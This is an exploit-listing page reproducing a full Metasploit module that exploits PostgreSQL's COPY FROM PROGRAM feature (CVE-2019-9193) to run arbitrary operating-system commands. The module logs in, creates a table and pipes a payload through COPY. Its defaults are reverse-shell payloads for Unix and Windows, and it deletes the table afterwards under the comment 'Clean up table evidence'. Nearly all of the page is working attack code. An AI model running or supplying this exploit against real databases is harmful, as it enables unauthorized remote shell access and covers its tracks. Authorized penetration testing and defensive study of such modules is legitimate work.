PostgreSQL COPY FROM PROGRAM Command Execution

2019.05.08
Credit: Jacob Wilkin
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/postgres' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Postgres include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'PostgreSQL COPY FROM PROGRAM Command Execution', 'Description' => %q( Installations running Postgres 9.3 and above have functionality which allows for the superuser and users with 'pg_execute_server_program' to pipe to and from an external program using COPY. This allows arbitrary command execution as though you have console access. This module attempts to create a new table, then execute system commands in the context of copying the command output into the table. This module should work on all Postgres systems running version 9.3 and above. For Linux & OSX systems, target 1 is used with cmd payloads such as: cmd/unix/reverse_perl For Windows Systems, target 2 is used with powershell payloads such as: cmd/windows/powershell_reverse_tcp Alternativly target 3 can be used to execute generic commands, such as a web_delivery meterpreter powershell payload or other customised command. ), 'Author' => [ 'Jacob Wilkin' # Exploit Author of Module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-9193'], ['URL', 'https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5'], ['URL', 'https://www.postgresql.org/docs/9.3/release-9-3.html'] #Patch notes adding the function, see 'E.26.3.3. Queries - Add support for piping COPY and psql \copy data to/from an external program (Etsuro Fujita)' ], 'PayloadType' => 'cmd', 'Platform' => %w(linux unix win osx), 'Payload' => { }, 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix/OSX/Linux', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_perl' } } ],[ 'Windows - PowerShell (In-Memory)', { 'Platform' => 'windows', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell_reverse_tcp' } } ],[ 'Windows (CMD)', 'Platform' => 'win', 'Arch' => [ARCH_CMD], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'adduser, generic' } } ], ], 'DisclosureDate' => 'Mar 20 2019' )) register_options([ Opt::RPORT(5432), OptString.new('TABLENAME', [ true, 'A table name that does not exist (To avoid deletion)', Rex::Text.rand_text_alphanumeric(8..12)]), OptBool.new('DUMP_TABLE_OUTPUT', [false, 'select payload command output from table (For Debugging)', false]) ]) deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE') end # Return the datastore value of the same name # @return [String] tablename for table to use with command execution def tablename datastore['TABLENAME'] end def check vuln_version? ? CheckCode::Appears : CheckCode::Safe end def vuln_version? version = postgres_fingerprint return false unless version[:auth] vprint_status version[:auth].to_s version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/).flatten.first if Gem::Version.new(version_full) >= Gem::Version.new('9.3') return true else return false end end def login_success? status = do_login(username, password, database) case status when :noauth print_error "#{peer} - Authentication failed" return false when :noconn print_error "#{peer} - Connection failed" return false else print_status "#{peer} - #{status}" return true end end def execute_payload # Drop table if it exists query = "DROP TABLE IF EXISTS #{tablename};" drop_query = postgres_query(query) case drop_query.keys[0] when :conn_error print_error "#{peer} - Connection error" return false when :sql_error print_warning "#{peer} - Unable to execute query: #{query}" return false when :complete print_good "#{peer} - #{tablename} dropped successfully" else print_error "#{peer} - Unknown" return false end # Create Table query = "CREATE TABLE #{tablename}(filename text);" create_query = postgres_query(query) case create_query.keys[0] when :conn_error print_error "#{peer} - Connection error" return false when :sql_error print_warning "#{peer} - Unable to execute query: #{query}" return false when :complete print_good "#{peer} - #{tablename} created successfully" else print_error "#{peer} - Unknown" return false end # Copy Command into Table cmd_filtered = payload.encoded.gsub("'", "''") query = "COPY #{tablename} FROM PROGRAM '#{cmd_filtered}';" copy_query = postgres_query(query) case copy_query.keys[0] when :conn_error print_error "#{peer} - Connection error" return false when :sql_error print_warning "#{peer} - Unable to execute query: #{query}" if copy_query[:sql_error] =~ /must be superuser to COPY to or from an external program/ print_error 'Insufficient permissions, User must be superuser or in pg_read_server_files group' return false end print_warning "#{peer} - Unable to execute query: #{query}" return false when :complete print_good "#{peer} - #{tablename} copied successfully(valid syntax/command)" else print_error "#{peer} - Unknown" return false end if datastore['DUMP_TABLE_OUTPUT'] # Select output from table for debugging query = "SELECT * FROM #{tablename};" select_query = postgres_query(query) case select_query.keys[0] when :conn_error print_error "#{peer} - Connection error" return false when :sql_error print_warning "#{peer} - Unable to execute query: #{query}" return false when :complete print_good "#{peer} - #{tablename} contents:\n#{select_query}" return true else print_error "#{peer} - Unknown" return false end end # Clean up table evidence query = "DROP TABLE IF EXISTS #{tablename};" drop_query = postgres_query(query) case drop_query.keys[0] when :conn_error print_error "#{peer} - Connection error" return false when :sql_error print_warning "#{peer} - Unable to execute query: #{query}" return false when :complete print_good "#{peer} - #{tablename} dropped successfully(Cleaned)" else print_error "#{peer} - Unknown" return false end end def do_login(user, pass, database) begin password = pass || postgres_password result = postgres_fingerprint( db: database, username: user, password: password ) return result[:auth] if result[:auth] print_error "#{peer} - Login failed" return :noauth rescue Rex::ConnectionError return :noconn end end def exploit #vuln_version doesn't seem to work #return unless vuln_version? return unless login_success? print_status("Exploiting...") if execute_payload print_status("Exploit Succeeded") else print_error("Exploit Failed") end postgres_logout if @postgres_conn end end


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